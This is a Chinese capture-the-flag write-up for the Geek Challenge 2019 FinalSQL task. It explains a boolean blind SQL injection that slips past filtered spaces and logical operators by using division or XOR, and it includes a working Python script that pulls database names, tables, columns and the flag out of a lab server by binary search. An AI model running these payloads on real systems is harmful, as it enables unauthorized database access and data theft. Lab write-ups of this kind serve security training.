[极客大挑战 2019]FinalSQL--布尔盲注

直接看题

可以看到题目给了提示盲注!那么接下来就是寻找注入点了!

那么不能发现注入点就是id了!注入类型为数值型注入!这里直接尝试盲注。但是这里and被过滤了&&也不行。问了几个师傅说用or,但是空格被过滤了,||也被过滤了。所以似乎不行!

不用空格是起不到效果的!所以这里另寻他法。那么如果你要替换一个东西你可以去思考一下它为什么能起作用!那么盲注的本质是什么?其实就是利用了页面的回显的不同在佐证我们对flag的盲猜 !那么你会发现id=0时是查询失败的,id=1是查询成功的,然后呢我们盲注语句也是返回1和0的,于是就想有没有一种运算使得1()1为1,1()0为0!那么这里我就想到了/,尽管不满足1/0为0,但是也是可以区分了!

而且这里mysql也是支持的!于是就直接开打!

python 复制代码
import requests

url = "http://0fec30ef-0317-4d57-8e6a-803bb5a076d0.node5.buuoj.cn:81/search.php?id="
result = ''
i=0

while True:
    i = i + 1
    head = 32
    tail = 126

    while head < tail:                          
        mid = (head + tail) >> 1 
        #payload = f'1%2F(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{i},1))>{mid})--+'
        #payload = f'1%2F(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{i},1))>{mid})--+'
        #payload = f"1%2F(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')),{i},1))>{mid})--+"
        payload = f"1%2F(ascii(substr((select(group_concat(password))from(F1naI1y)),{i},1))>{mid})--+"
        r = requests.get(url + payload)
        if "NO! Not this! Click others~~~" in r.text:
            head = mid + 1
        else:
            tail = mid

    if head != 32:                                    #用于判断是否找完了flag
        result += chr(head)
    else:
        break
    print(result)
#二分法脚本

那么后面发现异或^运算也是可以的。1 ^ 1=0, 1 ^ 0=1!

相关推荐
mN9B2uk1731 分钟前
数据库的约束简介
java·数据库·sql
hjhcos4 小时前
【PGSQL】无法修改表结构
sql
仙俊红6 小时前
如何优化 MySQL 深分页 SQL
android·sql·mysql
胖胖胖胖胖虎20 小时前
SQL json_table 行转列方法
sql
网管NO.120 小时前
子查询进阶|EXISTS/IN/ANY/ALL,优化查询效率
数据库·sql
yuzhiboyouye1 天前
sql增删改查怎么写?有时会不会有联表查询的增删查改
数据库·sql
IvorySQL1 天前
【HOW 2026 分论坛演讲】PG/IvorySQL私有云中实践
数据库·人工智能·sql·postgresql
*neverGiveUp*1 天前
PostgreSql常用SQL大全
数据库·sql·postgresql
六月雨滴1 天前
SQL 索引优化
数据库·sql·oracle·dba